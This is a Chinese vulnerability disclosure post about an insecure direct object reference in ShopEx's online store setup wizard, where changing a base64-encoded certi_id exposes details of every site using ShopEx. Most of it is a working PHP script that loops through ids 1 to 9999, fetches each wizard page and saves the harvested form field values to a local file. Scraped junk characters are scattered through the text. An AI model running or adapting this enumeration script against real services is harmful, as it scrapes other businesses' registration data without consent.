ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
9 W4 w4 k5 X& K" Y- L4 Q/ \ShopEx某接口缺陷,可遍历所有网站
. C& t2 ?% z4 V1 Z5 w9 {2 h详细说明：
: U) g$ f. Q+ T1 g* M问题出现在shopex 网店使用向导页面

" u) \5 ^. V7 P
$ r; f4 @3 a8 F( y( R7 ]
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=


2 m2 z  w5 O6 [; z* w
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

- w# E" f9 N9 d

3 l% A' g; p% a我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


+ F) Y% m7 ^8 t5 Z6 X1 ^2 r9 _4 o( a
<?php
  |2 i& J; m  Q, h: E
- @7 q! ~3 B0 k1 [                for ($i=1; $i < 10000; $i++) { //遍历

! M" m' A; @* e" }                        ShowshopExD($i);

. P4 a! F5 K$ t                }

                function ShowshopExD($cid) {

3 }8 f7 E3 y0 \3 e5 f5 b' L8 v$ e                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
  Y7 \8 |4 A2 p) n
        $url = $url.'?refer='.$refer;
- i3 V$ Y5 s( D% u4 ]8 `7 N
        $ch = curl_init($url);
+ Y6 U- b- i% @- R6 p
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

4 a/ s- e) a$ W) Y7 U; Z        $result = curl_exec($ch);
5 @) I. I# T7 \  w. U8 |% Y* `5 l1 O
6 J# ?, C" s, E1 I9 f        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
2 J' L# K. Z/ K" q) s1 U+ W
4 K8 \; {2 F4 d. t0 d- ~. {% N        if(strpos($result,$refer))
) R, r/ ^% G) D
& W3 h' j# f. T# U/ Y% ~        {
8 `$ F1 o' b9 v7 q; h7 M; J. c
# d! L3 t4 h/ ^) Q, [                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

2 e2 L/ F. n! r                foreach ($value[1] as $key) {

" O; p4 F- j  ?8 S. }                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
/ U$ P8 f! ?1 o6 k( G6 a. p6 Z7 U
                        echo $res[1][0].':'.$res[3][0]."\r\n";

. J# _9 `# a, R% [9 k6 t! @; ~                        $col =$res[1][0].':'.$res[3][0]."\r\n";
6 a# S$ J/ W9 o  }* q' s6 N% K
8 e- ]) c) c6 Y) Y2 y                        fwrite($fp, $col, strlen($col));

2 k& l- L6 ~- ^; o                }
8 {0 G  d- @0 _6 t6 z& J, S
                echo '--------------------------------'."\r\n";
3 d4 h$ i: R, d
( D/ j/ {* w% i8 p; f# E                fclose($fp);

& ?+ V- U0 o& R        }
0 N( e6 w& d4 Z1 Q: b
        flush();
7 Z' Y% A9 Z' R. D$ Z3 ^
        curl_close($ch);

                }
8 [+ Y, n# J7 G# {2 m: ~9 L* f
?>
漏洞证明：
- ~* V+ c7 v# A7 thttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
* E% U# d! s/ x; j" e